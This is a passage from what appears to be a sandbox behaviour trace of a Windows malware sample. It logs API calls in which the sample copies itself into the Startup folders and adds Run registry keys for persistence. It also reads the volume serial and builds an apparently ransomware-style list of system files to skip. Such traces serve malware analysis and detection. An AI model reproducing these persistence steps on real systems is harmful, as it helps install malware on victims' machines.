lpData=0x74e860*=0xb8, lpcbData=0x34fb68*=0x98) returned 0xea [0051.839] RegCloseKey (hKey=0xa8) returned 0x0 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741830 | out: hHeap=0x730000) returned 1 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b2b8 | out: hHeap=0x730000) returned 1 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e860 | out: hHeap=0x730000) returned 1 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74dba0, Size=0xf2) returned 0x74b2b8 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xf2) returned 0x74e450 [0051.839] GetProcessHeap () returned 0x730000 [0051.839] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.840] GetProcessHeap () returned 0x730000 [0051.840] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x10) returned 0x741830 [0051.840] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb64 | out: phkResult=0x34fb64*=0xa8) returned 0x0 [0051.840] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x34fb60, lpData=0x74e450, lpcbData=0x34fb68*=0xf2 | out: lpType=0x34fb60*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x34fb68*=0x98) returned 0x0 [0051.840] RegCloseKey (hKey=0xa8) returned 0x0 [0051.840] GetProcessHeap () returned 0x730000 [0051.840] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741830 | out: hHeap=0x730000) returned 1 [0051.840] GetProcessHeap () returned 0x730000 [0051.840] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749ee0 [0051.840] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb64 | out: phkResult=0x34fb64*=0xa8) returned 0x0 [0051.840] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x34fb60, lpData=0x74e4e8, lpcbData=0x34fb68*=0x5a | out: lpType=0x34fb60*=0x0, lpData=0x74e4e8*=0x0, lpcbData=0x34fb68*=0x5a) returned 0x2 [0051.841] RegCloseKey (hKey=0xa8) returned 0x0 [0051.841] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb78 | out: phkResult=0x34fb78*=0xa8) returned 0x0 [0051.841] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x34fb74, lpData=0x74e4e8, lpcbData=0x34fb7c*=0x5a | out: lpType=0x34fb74*=0x2, lpData=0x74e4e8*=0x0, lpcbData=0x34fb7c*=0x78) returned 0xea [0051.841] RegCloseKey (hKey=0xa8) returned 0x0 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e450 | out: hHeap=0x730000) returned 1 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74b2b8, Size=0x1e2) returned 0x74e450 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e2) returned 0x74a218 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x10) returned 0x741830 [0051.841] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb64 | out: phkResult=0x34fb64*=0xa8) returned 0x0 [0051.841] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x34fb60, lpData=0x74a218, lpcbData=0x34fb68*=0x1e2 | out: lpType=0x34fb60*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x34fb68*=0x98) returned 0x0 [0051.841] RegCloseKey (hKey=0xa8) returned 0x0 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741830 | out: hHeap=0x730000) returned 1 [0051.841] GetProcessHeap () returned 0x730000 [0051.841] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749ee0 [0051.841] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb64 | out: phkResult=0x34fb64*=0xa8) returned 0x0 [0051.842] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x34fb60, lpData=0x74a2b0, lpcbData=0x34fb68*=0x14a | out: lpType=0x34fb60*=0x0, lpData=0x74a2b0*=0x41, lpcbData=0x34fb68*=0x14a) returned 0x2 [0051.842] RegCloseKey (hKey=0xa8) returned 0x0 [0051.842] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x34fb78 | out: phkResult=0x34fb78*=0xa8) returned 0x0 [0051.842] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x34fb74, lpData=0x74a2b0, lpcbData=0x34fb7c*=0x14a | out: lpType=0x34fb74*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x34fb7c*=0x78) returned 0x0 [0051.842] RegCloseKey (hKey=0xa8) returned 0x0 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.842] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x74e450, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a218 | out: hHeap=0x730000) returned 1 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7440d0 | out: hHeap=0x730000) returned 1 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749ee0 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x12) returned 0x74dcc8 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x12) returned 0x74dce8 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.842] ExpandEnvironmentStringsW (in: lpSrc="spfs.txt", lpDst=0x74dcc8, nSize=0x9 | out: lpDst="spfs.txt") returned 0x9 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dce8 | out: hHeap=0x730000) returned 1 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x74a218 [0051.842] GetProcessHeap () returned 0x730000 [0051.842] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x74a430 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750400 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750618 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750830 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750a48 [0051.843] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x74a430, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750c60 [0051.843] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x750c60, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750c60 | out: hHeap=0x730000) returned 1 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750c60 [0051.843] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x750c60, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750c60 | out: hHeap=0x730000) returned 1 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750c60 [0051.843] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x750c60, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0051.843] GetProcessHeap () returned 0x730000 [0051.843] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750c60 | out: hHeap=0x730000) returned 1 [0051.843] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=0) returned 1 [0051.853] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x34fc5c | out: phkResult=0x34fc5c*=0xfc) returned 0x0 [0051.853] RegSetValueExW (in: hKey=0xfc, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", cbData=0xf0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe") returned 0x0 [0051.854] RegCloseKey (hKey=0xfc) returned 0x0 [0051.854] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x34fc70 | out: phkResult=0x34fc70*=0xfc) returned 0x0 [0051.854] RegSetValueExW (in: hKey=0xfc, lpValueName="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", cbData=0xf0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe") returned 0x0 [0051.855] RegCloseKey (hKey=0xfc) returned 0x0 [0051.855] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt"), bFailIfExists=1) returned 0 [0051.855] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\spfs.txt")) returned 0xffffffff [0051.855] GetProcessHeap () returned 0x730000 [0051.855] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x134) returned 0x750c60 [0051.855] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 0 [0051.856] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0051.856] GetFileAttributesW (lpFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0051.856] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe"), bFailIfExists=1) returned 1 [0051.861] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spfs.txt"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), bFailIfExists=1) returned 0 [0051.861] GetFileAttributesW (lpFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt")) returned 0xffffffff [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750c60 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dcc8 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a218 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a430 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750400 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750618 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750830 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750a48 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e798 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.861] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x73f9a0 | out: hHeap=0x730000) returned 1 [0051.861] GetProcessHeap () returned 0x730000 [0051.862] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e450 | out: hHeap=0x730000) returned 1 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749ee0 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749d50 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749dc8 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.862] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749d50, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749dc8 | out: hHeap=0x730000) returned 1 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.862] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x34fc84, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34fc84*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749d50 | out: hHeap=0x730000) returned 1 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x74afb8 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x741830 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x190) returned 0x74e450 [0051.862] GetProcessHeap () returned 0x730000 [0051.862] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x70) returned 0x74dba0 [0051.862] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x6a) returned 0x74e860 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74e860, Size=0xd2) returned 0x74e860 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x184) returned 0x74a218 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x741710 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x74a3a8 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x250) returned 0x750400 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa0) returned 0x74a5c0 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x96) returned 0x74b2b8 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x96) returned 0x74e5e8 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74e688 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e688 | out: hHeap=0x730000) returned 1 [0051.863] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x74b2b8, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0051.863] GetProcessHeap () returned 0x730000 [0051.863] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e5e8 | out: hHeap=0x730000) returned 1 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a5c0 | out: hHeap=0x730000) returned 1 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x70) returned 0x74a5c0 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x62) returned 0x74e798 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x62) returned 0x74e5e8 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74e658 [0051.863] GetProcessHeap () returned 0x730000 [0051.863] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e658 | out: hHeap=0x730000) returned 1 [0051.863] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x74e798, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e5e8 | out: hHeap=0x730000) returned 1 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74e798, Size=0xc2) returned 0x74e5e8 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc2) returned 0x750658 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74e6b8 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e6b8 | out: hHeap=0x730000) returned 1 [0051.864] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x74e5e8, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750658 | out: hHeap=0x730000) returned 1 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a5c0 | out: hHeap=0x730000) returned 1 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750658 [0051.864] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x750658, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750658 | out: hHeap=0x730000) returned 1 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, 